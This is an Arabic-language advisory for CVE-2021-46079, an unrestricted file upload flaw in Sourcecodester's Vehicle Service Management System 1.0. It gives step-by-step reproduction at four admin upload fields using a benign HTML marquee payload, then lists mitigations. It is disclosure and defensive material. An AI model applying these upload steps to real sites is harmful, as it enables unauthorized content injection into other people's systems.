CVE-2021-46079
اسم الثغرة: نظام إدارة خدمات المركبات - تحميل ملفات متعدد يؤدي إلى حقن HTML
الباحث عن الثغرة: SANU P.L
CVE: CVE-2021-46079
CVSS: 7.2 HIGH
المراجع:
الوصف:
توجد ثغرة تحميل ملفات غير مقيدة في نظام إدارة خدمات المركبات إصدار 1.0 من Sourcecodester. يمكن للمهاجم عن بُعد تحميل ملفات ضارة تؤدي إلى حقن HTML.
1. نظام إدارة خدمات المركبات - 'حسابي' (/admin/?page=user)
الاستغلال:
- تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- الانتقال إلى قسم حسابي http://localhost/vehicle_service/admin/?page=user
الحمولة:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- احفظ كود HTML أعلاه باسم مثلاً Html Injection.html
- في قسم حسابي، أدخل جميع البيانات المطلوبة واختر ملف html في حقل الصورة الرمزية (Avatar).
- انقر على زر التحديث.
- افتح الصورة الرمزية في علامة تبويب جديدة.
- يتم تنفيذ حقن HTML.
2. نظام إدارة خدمات المركبات - 'قائمة المستخدمين' (/admin/?page=user/manage_user)
الاستغلال:
- تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- الانتقال إلى قسم قائمة المستخدمين وانقر على زر إنشاء جديد.
الحمولة:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- احفظ كود HTML أعلاه باسم مثلاً Html Injection.html
- في صفحة إنشاء مستخدم جديد، أدخل جميع البيانات المطلوبة واختر ملف html في حقل الصورة الرمزية (Avatar).
- انقر على زر حفظ.
- افتح الصورة الرمزية في علامة تبويب جديدة.
- يتم تنفيذ حقن HTML.
3. نظام إدارة خدمات المركبات - 'الإعدادات - شعار النظام' (/admin/?page=system_info)
الحمولة:
- تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- الانتقال إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info
الحمولة:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- احفظ كود HTML أعلاه باسم مثلاً Html Injection.html
- في قسم الإعدادات، أدخل جميع البيانات المطلوبة واختر ملف html في حقل شعار النظام (System Logo).
- انقر على زر التحديث.
- افتح صورة شعار النظام في علامة تبويب جديدة.
- يتم تنفيذ حقن HTML.
4. نظام إدارة خدمات المركبات - 'الإعدادات - غلاف الموقع' (/admin/?page=system_info)
الاستغلال:
- تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- الانتقال إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info
الحمولة:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- احفظ كود HTML أعلاه باسم مثلاً Html Injection.html
- في قسم الإعدادات، أدخل جميع البيانات المطلوبة واختر ملف html في حقل غلاف الموقع (Website Cover).
- انقر على زر التحديث.
- افتح صورة غلاف الموقع في علامة تبويب جديدة.
- يتم تنفيذ حقن HTML.
التأثير:
يمكن للمهاجم تحميل ملف ضار في نقاط نهاية متعددة مما يؤدي إلى حقن HTML.
التخفيف:
يوصى بتنفيذ ما يلي:
- عدم قبول اسم الملف وامتداده مباشرةً دون وجود قائمة بيضاء للتصفية.
- إذا لم تكن هناك حاجة لأحرف Unicode، يُوصى بشدة بقبول الأحرف الأبجدية الرقمية فقط ونقطة واحدة فقط كمدخل لاسم الملف والامتداد.
- تقييد حجم الملف إلى قيمة قصوى لمنع هجمات رفض الخدمة.
- يجب ألا يكون للدليل الذي يتم التحميل إليه أي صلاحية "تنفيذ".
- لا تعتمد فقط على التحقق من جانب العميل.